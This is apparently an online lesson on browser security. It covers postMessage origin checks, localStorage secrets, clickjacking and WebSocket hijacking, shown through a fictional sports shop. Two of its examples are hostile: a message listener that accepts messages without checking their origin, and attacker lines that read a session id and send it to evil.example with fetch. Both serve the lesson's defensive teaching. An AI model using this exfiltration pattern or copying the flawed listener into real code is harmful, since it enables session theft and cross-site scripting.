Skip to content

Lesson 2 of 4

Messages, storage and sockets

Listen to an AI summary of Messages, storage and sockets

0:00 / 0:30

Pages inside pages

A frame is a page shown inside another page. In HTML, a frame is written <iframe>. The checkout page of the sports shop shows a payment page from a payment company inside a frame.

An origin is the scheme (https), the host name (shop.example) and the port of a page's address (the lesson before). The shop's origin is https://shop.example, with the usual port left out. The payment company's origin is https://pay.example.

Under the same origin policy, the shop page cannot read the payment page, so the payment page sends the shop page a message.

Messages between pages

postMessage is a JavaScript function that sends a message from one window or frame to another. Sam, a customer, pays, and the payment page sends the message paid to the shop page. The browser adds the origin of the sender to every message.

  1. Payment page

    in a frame, from https://pay.example

  2. the message paid, with the origin of the sender

    Shop page

    from https://shop.example

A message from the payment page.

The line of JavaScript in the payment page names the origin allowed to receive the message. The browser delivers the message only to a page from the named origin.

window.parent.postMessage("paid", "https://shop.example")

  1. window.parentthe page that holds the frame
  2. postMessagethe function
  3. "paid"the message
  4. "https://shop.example"the origin allowed to receive the message
The line that sends the message.

A "*" in place of the origin means any origin. Any website that shows the payment page in a frame then receives the message.

The code that receives a message

A message listener is code in a page that runs each time a message arrives. The message listener of the shop page writes the message into the page. Look for a check of who sent the message.

window.addEventListener("message", function (event) {
  var box = document.getElementById("status");
  box.innerHTML = event.data;
});

Line 1 tells the browser to run lines 2 and 3 each time a message arrives. The variable event holds the message in event.data and the origin of the sender in event.origin. Line 2 finds the part of the page named status. Line 3 writes the message there with innerHTML, and the browser reads the message as HTML (the lesson on unsafe sinks).

No line checks event.origin. Any page that opens the shop page in a new window or a frame can send a message. An attacker's page sends HTML that holds JavaScript, and the browser runs the JavaScript as part of the shop page. The weakness is cross-site scripting (CWE-79).

The safer message listener has one new line and one changed word:

window.addEventListener("message", function (event) {
  if (event.origin !== "https://pay.example") return;
  var box = document.getElementById("status");
  box.textContent = event.data;
});

The sign !== means is not equal to. Line 2 compares the whole origin, and stops the function when the sender is not the payment page. A check that the origin contains pay.example also accepts https://pay.example.evil.example.

An attacker who gets code into the payment page can still write the message. Line 4 writes the message with textContent, so the browser shows the message as text.

Browser storage

Browser storage is a place where JavaScript in a page can save values in the browser. localStorage is the JavaScript name for one store. sessionStorage is a second store, which empties when the tab closes.

Each origin has a store of its own. Any JavaScript in a page of that origin can read every value in the store.

A session id in browser storage

Anyone who has Sam's session id can send requests as Sam. The sports shop keeps the session id in a cookie. The cookie has the setting HttpOnly, which stops JavaScript in the page reading the cookie.

A change to the shop saves the session id in browser storage, so the shop's JavaScript can send the session id.

  1. localStorage.setItem("session", sessionId);// the change. The shop saves the session id in browser storage
  2. var stolen = localStorage.getItem("session");// the attacker's JavaScript reads the session id
  3. fetch("https://evil.example/?id=" + stolen);// the attacker's JavaScript sends the session id to the attacker's server
The change, and two lines an attacker runs.

One cross-site scripting weakness anywhere on the shop's origin now gives the attacker Sam's session id. With the HttpOnly cookie, the attacker's JavaScript cannot read the session id. The same holds for an API key.

Clickjacking

Clickjacking (CWE-1021) is showing a page invisibly inside a frame, so that a person clicks a button on the page without knowing. An attacker's page shows a button marked Claim a free prize. A see-through frame on top holds the shop's ticket page, with the Buy ticket button over the prize button.

  • A web page at the address evil.example/prize.
  • A button that says Claim a free prize. Over it, see-through, a button that says Buy ticket. the bottom layer, the attacker's page. The only button Sam can see the top layer, see-through. The shop's page in a frame
The two buttons are in the same place.

Sam is signed in to the shop and clicks the prize button. The click goes to the top layer, the Buy ticket button. Where the shop's cookie has no SameSite setting, some browsers send Sam's cookie with the request, and the shop takes the order as Sam's.

The defence is the Content Security Policy header. The setting frame-ancestors lists the websites allowed to show the page in a frame. The value 'self' means the shop's own origin:

Content-Security-Policy: frame-ancestors 'self'

WebSockets

A browser sends a request, the server sends one response, and the exchange ends. A chat page needs the server to send a message at any moment. A WebSocket is a connection between a browser and a server that stays open, so both can send messages at any time.

The help chat of the sports shop uses a WebSocket, and the browser opens the WebSocket with one request.

  1. GET /chat HTTP/1.1a request to the shop for the chat
  2. Host: shop.examplethe website the request goes to
  3. Upgrade: websocketthe request asks for a WebSocket
  4. Origin: https://evil.examplethe origin of the page that asked, added by the browser
  5. Cookie: session=7f3a9cSam's cookie, sent by the browser
The request from the attacker's page.

The same origin policy does not cover a WebSocket, so a page from any origin can open a WebSocket. Where the cookie has no SameSite setting, some browsers send Sam's cookie, and a server that reads only the cookie treats the attacker's page as Sam. The attacker's page can then read Sam's chat. The weakness is named cross-site WebSocket hijacking (CWE-1385).

The server has to check the Origin header before opening the WebSocket. Three lines of Python make the check:

origin = request.headers.get("Origin")
if origin != "https://shop.example":
    return "Refused", 403   # 403 is the code for a request that is not allowed

Line 1 reads the Origin header from the request. Lines 2 and 3 refuse a request from any other origin, and a request with no Origin header.

A wss:// WebSocket address encrypts the messages, as HTTPS does, and a ws:// address does not (the lesson on protection in transit).

The four checks

A message listener
The code checks event.origin against the whole origin.
Browser storage
No session id or other secret value is saved.
A frame
The response names the websites allowed to show the page in a frame.
A WebSocket
The server checks the Origin header before opening the WebSocket.

Examples of what to look for

  • A message listener with no check of event.origin.
  • A check of event.origin with includes or endsWith, which match only part of the origin.
  • A postMessage call with "*" as the origin.
  • A message written to innerHTML, or passed to eval.
  • A session id or an API key saved with localStorage.setItem or sessionStorage.setItem.
  • A frame-ancestors line removed.
  • A WebSocket opened on the server with no check of the Origin header, or an address that starts with ws://.

Check your understanding

  1. State what clickjacking is.

    Show the answer

    Clickjacking is showing a page invisibly inside a frame, so that a person clicks a button on the page without knowing.

  2. Identify what is missing from the first message listener of the shop page.

    Show the answer

    A check of event.origin, the origin of the sender.

  3. Give one reason why the sports shop keeps the session id in an HttpOnly cookie and not in browser storage.

    Show the answer

    One cross-site scripting weakness lets an attacker's JavaScript read browser storage. JavaScript cannot read an HttpOnly cookie.